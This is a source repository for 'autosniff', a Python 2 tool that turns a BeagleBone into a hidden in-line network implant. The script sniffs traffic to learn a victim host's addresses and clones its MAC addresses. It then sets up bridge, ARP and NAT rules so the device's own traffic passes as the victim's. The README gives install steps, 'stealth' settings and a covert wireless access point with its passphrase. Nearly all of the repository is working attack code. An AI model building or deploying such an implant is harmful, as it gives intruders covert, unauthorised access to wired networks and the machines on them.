├── .gitignore ├── README.md ├── autosniff.py └── ebtables-init /.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | 3 | # C extensions 4 | *.so 5 | 6 | # Packages 7 | *.egg 8 | *.egg-info 9 | dist 10 | build 11 | eggs 12 | parts 13 | bin 14 | var 15 | sdist 16 | develop-eggs 17 | .installed.cfg 18 | lib 19 | lib64 20 | __pycache__ 21 | 22 | # Installer logs 23 | pip-log.txt 24 | 25 | # Unit test / coverage reports 26 | .coverage 27 | .tox 28 | nosetests.xml 29 | 30 | # Translations 31 | *.mo 32 | 33 | # Mr Developer 34 | .mr.developer.cfg 35 | .project 36 | .pydevproject 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Installation and Usage 2 | ============ 3 | 4 | 1. perform default install of archlinux for ARM on a beaglebone [here](http://archlinuxarm.org/platforms/armv7/ti/beaglebone) 5 | 2. install dependencies with yaourt/pacman (or manually with the pkg files from AUR) 6 | 3. change necessary config files (pointers in the stealth block below) 7 | 4. make sure autosniff.py starts on startup 8 | 9 | 5. connect two usb ethernet dongles and reboot the device (you need two because the builtin ethernet won't support promiscuous mode) 10 | 11 | 6. perform physical ethernet cable beagle in the middle and wait for dhcp on the wireless AP 12 | 13 | 7. It's probably good if you bind a SSH server to the wlan0 interface (make sure it doesn't burn the device to the switch). 14 | 15 | 16 | Deps 17 | ===== 18 | 19 | python2 20 | pycrypto 21 | python2-pcapy 22 | impacket 23 | libpcap 24 | bridge-utils 25 | ebtables 26 | iptables 27 | arptables 28 | hostapd 29 | 30 | Stealth 31 | ======== 32 | 33 | ``` 34 | [root@alarm ~]# cat /etc/sysctl.d/40-ipv6.conf 35 | # Disable IPv6 36 | 37 | net.ipv6.conf.all.disable_ipv6 = 1 38 | #net.ipv6.conf.interface0.disable_ipv6 = 1 39 | #net.ipv6.conf.interfaceN.disable_ipv6 = 1 40 | ``` 41 | 42 | rm /etc/netctl/eth0 43 | 44 | 45 | 46 | 47 | hostapd.conf 48 | 49 | ``` 50 | interface=wlan0 51 | driver=nl80211 52 | ssid=Nothingtoseehere 53 | hw_mode=g 54 | channel=11 55 | wpa=2 56 | wpa_passphrase=hackallthethings 57 | wpa_key_mgmt=WPA-PSK 58 | wpa_ptk_rekey=600 59 | wpa_pairwise=TKIP 60 | rsn_pairwise=CCMP 61 | ``` 62 | 63 | License 64 | ======= 65 | 66 | Just give me some credits if you build on this and keep it open source :) 67 | -------------------------------------------------------------------------------- /autosniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | # Author: @jkadijk 3 | # Base decoderthread layout from the Impacket examples. 4 | 5 | import sys 6 | import string 7 | from threading import Thread 8 | 9 | import struct 10 | 11 | import time 12 | import socket 13 | import os 14 | import re 15 | import pcapy 16 | from pcapy import findalldevs, open_live 17 | import impacket 18 | import impacket.ImpactPacket 19 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder, IPDecoder 20 | 21 | class DecoderThread(Thread): 22 | def __init__(self, pcapObj,subnet,arptable): 23 | # Query the type of the link and instantiate a decoder accordingly. 24 | datalink = pcapObj.datalink() 25 | if pcapy.DLT_EN10MB == datalink: 26 | self.decoder = EthDecoder() 27 | elif pcapy.DLT_LINUX_SLL == datalink: 28 | self.decoder = LinuxSLLDecoder() 29 | else: 30 | raise Exception("Datalink type not supported: " % datalink) 31 | 32 | self.pcap = pcapObj 33 | self.subnet = subnet 34 | self.arptable = arptable 35 | Thread.__init__(self) 36 | #super(Thread, self).__init__() 37 | 38 | def run(self): 39 | # Sniff ad infinitum. 40 | # PacketHandler shall be invoked by pcap for every packet. 41 | self.pcap.loop(0, self.packetHandler) 42 | 43 | 44 | def packetHandler(self, hdr, data): 45 | e = self.decoder.decode(data) 46 | if e.get_ether_type() == impacket.ImpactPacket.IP.ethertype: 47 | #print e.child().get_ip_src() 48 | ip = e.child() 49 | ttl = ip.get_ip_ttl() 50 | ## Uneven but not 1 or 255 ttl means it's probably coming from a router ## 51 | if (ttl % 2) > 0 and ttl > 1 and ttl != 255: 52 | self.subnet.gatewaymac = e.get_ether_shost() 53 | self.subnet.sourcemac = e.get_ether_dhost() 54 | self.subnet.sourceaddress = ip.get_ip_dst() 55 | 56 | if e.get_ether_type() == impacket.ImpactPacket.ARP.ethertype: 57 | arp = e.child() 58 | self.subnet.registeraddress(arp.get_ar_tpa()) 59 | self.subnet.registeraddress(arp.get_ar_spa()) 60 | 61 | if arp.get_op_name(arp.get_ar_op()) == "REPLY": 62 | print "got arp reply" 63 | self.arptable.registeraddress(arp.get_ar_spa(), arp.as_hrd(arp.get_ar_sha())) 64 | if arp.get_op_name(arp.get_ar_op()) == "REQUEST": 65 | self.arptable.registeraddress(arp.get_ar_spa(), arp.as_hrd(arp.get_ar_sha())) 66 | 67 | 68 | 69 | class ArpTable(): 70 | table = {} 71 | 72 | def registeraddress(self,ip_array, hw_address): 73 | ip = self.printip(ip_array) 74 | if ip != "0.0.0.0": 75 | self.table[ip] = hw_address 76 | print "%s : %s" % (ip, hw_address) 77 | 78 | def printip(self,ip_array): 79 | ip_string = socket.inet_ntoa(struct.pack('BBBB', *ip_array)) 80 | return ip_string 81 | 82 | def updatekernel(self): 83 | for ip, mac in self.table.iteritems(): 84 | p = os.popen("arp -i mibr -s %s %s" % (ip, mac)) 85 | result = p.read() 86 | p.close() 87 | p = os.popen("ip route add %s/32 dev mibr" % ip) 88 | result = p.read() 89 | p.close() 90 | 91 | ## Only supports /24 or smaller 92 | class Subnet(): 93 | sourcemac = None 94 | gatewaymac = None 95 | subnet = None 96 | minaddress = None 97 | maxaddress = None 98 | sourceaddress = None 99 | gatewayaddress = "" 100 | 101 | confidence = 0 102 | 103 | def registeraddress(self,ip_array): 104 | if self.printip(ip_array) == "0.0.0.0": 105 | return False 106 | if(ip_array[0] == 169): 107 | return False 108 | if self.checksubnet(ip_array): 109 | if self.minaddress is None or self.minaddress[3] > ip_array[3]: 110 | self.minaddress = ip_array 111 | if self.maxaddress is None or self.maxaddress[3] < ip_array[3]: 112 | self.maxaddress = ip_array 113 | else: 114 | print self.printip(ip_array) 115 | print "[!] Error, duplicate or big subnet detected" 116 | 117 | 118 | def checksubnet(self,ip_array): 119 | if self.subnet == None: 120 | self.subnet = ip_array 121 | return True 122 | if ip_array[0] == self.subnet[0] and ip_array[1] == self.subnet[1]: 123 | return True 124 | else: 125 | return False 126 | 127 | def printip(self,ip_array): 128 | ip_string = socket.inet_ntoa(struct.pack('BBBB', *ip_array)) 129 | return ip_string 130 | 131 | def getcidr(self): 132 | if self.maxaddress and self.minaddress: 133 | bits = 0 134 | discovered_hosts = self.maxaddress[3] - self.minaddress[3] + 1 135 | hosts = 0 136 | while(hosts < discovered_hosts and bits <= 8): 137 | bits += 1 138 | hosts = 2**bits 139 | return bits 140 | else: 141 | return 0 142 | def get_gatewaymac(self): 143 | ethernet = impacket.ImpactPacket.Ethernet() 144 | temp = ethernet.as_eth_addr(self.gatewaymac) 145 | temp = re.sub(r':(\d):',r':0\1:', temp) 146 | return temp 147 | 148 | def get_sourcemac(self): 149 | ethernet = impacket.ImpactPacket.Ethernet() 150 | return ethernet.as_eth_addr(self.sourcemac) 151 | 152 | def __str__(self): 153 | ethernet = impacket.ImpactPacket.Ethernet() 154 | header = "Network config: \n" 155 | output = "" 156 | if self.minaddress and self.maxaddress: 157 | output += "cidr bits: %i\n" % self.getcidr() 158 | 159 | 160 | if self.sourcemac and self.gatewaymac: 161 | output += "source: %s gateway: %s\n" % (ethernet.as_eth_addr(self.sourcemac), ethernet.as_eth_addr(self.gatewaymac)) 162 | 163 | if self.sourceaddress: 164 | output += "source ip: %s gateway ip: %s\n" % (self.sourceaddress, self.gatewayaddress) 165 | 166 | if output == "": 167 | return "Network config unknown" 168 | else: 169 | return header + output 170 | 171 | ## Create ebtables, arptables and iptables rules based on a subnet object 172 | class Netfilter(): 173 | subnet = None 174 | bridge = None 175 | 176 | switchsidemac = None 177 | radiosilence = False 178 | gatewayinterface = "eth9" 179 | bridgeinterface = "mibr" 180 | bridgeip = "169.254.66.77" 181 | def __init__(self, subnet, bridge): 182 | self.subnet = subnet 183 | os.system("sh ./ebtables-init") 184 | os.system("ebtables -A OUTPUT -j DROP") 185 | os.system("arptables -A OUTPUT -j DROP") 186 | 187 | 188 | 189 | def updatetables(self): 190 | os.system("sh ./ebtables-init") 191 | os.system("ebtables -A OUTPUT -j DROP") 192 | os.system("arptables -A OUTPUT -j DROP") 193 | print "searching for mac: %s ..." % subnet.get_gatewaymac() 194 | f=os.popen("brctl showmacs %s | grep %s | awk '{print $1}'" % (self.bridgeinterface, subnet.get_gatewaymac())) 195 | portnumber = f.read().rstrip() 196 | f.close() 197 | if(portnumber == ""): 198 | print "portnumber not found bailing" 199 | return False 200 | print "portnumber is: %s" % portnumber 201 | run = "brctl showstp %s | grep '(%s)' | head -n1 | awk '{print $1}'" % (self.bridgeinterface, portnumber) 202 | print run 203 | 204 | x = os.popen(run) 205 | interface = x.read() 206 | x.close() 207 | interface = interface.rstrip() 208 | print "got interface: %s .." % interface 209 | if(interface == ""): 210 | print "error getting interface is the bridge setup right?" 211 | return False 212 | print "switchside interface: %s" % interface 213 | self.gatewayinterface = interface 214 | f = os.popen("ip link show %s" % interface) 215 | result = f.read() 216 | f.close() 217 | matches = re.search("..:..:..:..:..:..", result) 218 | print "switchsidemac: %s" % matches.group(0) 219 | self.switchsidemac = matches.group(0) 220 | os.system("macchanger -m %s %s" % (self.switchsidemac, bridge.bridgename)) 221 | print "Updating netfilter" 222 | os.system("ip addr add 169.254.66.77/24 dev mibr") 223 | os.system("ebtables -t nat -A POSTROUTING -s %s -o %s -j snat --snat-arp --to-src %s" % (self.switchsidemac, self.gatewayinterface, self.subnet.get_sourcemac())) 224 | os.system("ebtables -t nat -A POSTROUTING -s %s -o %s -j snat --snat-arp --to-src %s" % (self.switchsidemac, self.bridgeinterface, self.subnet.get_sourcemac())) 225 | 226 | os.system("arp -s -i %s 169.254.66.55 %s" % (self.bridgeinterface, self.subnet.get_gatewaymac())) 227 | print "[*] Setting up layer 3 NAT" 228 | os.system("iptables -t nat -A POSTROUTING -o %s -s 169.254.0.0/16 -p tcp -j SNAT --to %s:61000-62000" % (self.bridgeinterface, self.subnet.sourceaddress ) ) 229 | os.system("iptables -t nat -A POSTROUTING -o %s -s 169.254.0.0/16 -p udp -j SNAT --to %s:61000-62000" % (self.bridgeinterface, self.subnet.sourceaddress ) ) 230 | os.system("iptables -t nat -A POSTROUTING -o %s -s 169.254.0.0/16 -p icmp -j SNAT --to %s" % (self.bridgeinterface, self.subnet.sourceaddress ) ) 231 | if not self.radiosilence: 232 | os.system("ebtables -D OUTPUT -j DROP") 233 | os.system("arptables -D OUTPUT -j DROP") 234 | os.system("ip route del default") 235 | os.system("ip route add default via 169.254.66.55 dev mibr") 236 | 237 | 238 | class Bridge(): 239 | subnet = None 240 | bridgename = None 241 | 242 | def __init__(self, bridgename, interfaces): 243 | self.bridgename = bridgename 244 | os.system("brctl addbr %s" % bridgename) 245 | os.system("ip link set %s down" % bridgename) 246 | os.system("ip addr flush dev %s" % bridgename) 247 | os.system("macchanger -p %s" % bridgename) 248 | os.system("ip link set up %s" % bridgename) 249 | 250 | 251 | for interface in interfaces: 252 | os.system("ip link set %s down" % interface) 253 | os.system("sysctl -w net.ipv6.conf.%s.autoconf=0" % interface) 254 | os.system("sysctl -w net.ipv6.conf.%s.accept_ra=0" % interface) 255 | os.system("brctl addif %s %s" % (bridgename, interface)) 256 | os.system("ip link set %s up" % interface) 257 | os.system("ip link set promisc on %s" % interface) 258 | os.system("sysctl -w net.ipv6.conf.%s.autoconf=0" % bridgename) 259 | os.system("sysctl -w net.ipv6.conf.%s.accept_ra=0" % bridgename) 260 | os.system("ip link set promisc on %s" % bridgename) 261 | os.system("echo 8 > /sys/class/net/mibr/bridge/group_fwd_mask") 262 | 263 | 264 | 265 | 266 | 267 | if __name__ == '__main__': 268 | #dev = getInterface() 269 | dev = 'eth1' 270 | bridge = Bridge("mibr", ["eth2", "eth1"]) 271 | # Open interface for capturing. 272 | p = open_live(dev, 1500, 0, 100) 273 | 274 | print "Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink()) 275 | subnet = Subnet() 276 | arptable = ArpTable() 277 | # Start sniffing thread and finish main thread. 278 | thread = DecoderThread(p,subnet,arptable) 279 | thread.start() 280 | 281 | 282 | netfilter = Netfilter(subnet, bridge) 283 | while(1): 284 | if subnet.sourceaddress and subnet.gatewaymac and subnet.sourcemac: 285 | print subnet 286 | 287 | netfilter.updatetables() 288 | break 289 | else: 290 | print "not enough info..." 291 | print subnet 292 | time.sleep(20) 293 | 294 | # setup routing and dhcp on builtin ethernet 295 | os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") 296 | # os.system("ifconfig wlan0 169.254.44.44/24") 297 | # os.system("ifconfig wlan0 up") 298 | #os.system("/usr/sbin/dhcpd -4 -pf /run/dhcpd4.pid wlan0") 299 | # os.system("udhcpd /etc/udhcpd-wlan0.conf") 300 | # os.system("/usr/local/bin/hostapd -B /etc/hostapd/hostapd.conf") 301 | time.sleep(5) 302 | 303 | ## arp setup ## 304 | try: 305 | while(1): 306 | f = open('/root/subnetinfo', 'w') 307 | f.write(str(subnet)) 308 | f.close() 309 | 310 | arptable.updatekernel() 311 | 312 | time.sleep(20) 313 | except KeyboardInterrupt: 314 | pass # handle ctrl-c 315 | 316 | -------------------------------------------------------------------------------- /ebtables-init: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | iptables -F 4 | iptables -F -t nat 5 | ebtables -t nat -F 6 | ebtables -F 7 | arptables -F 8 | --------------------------------------------------------------------------------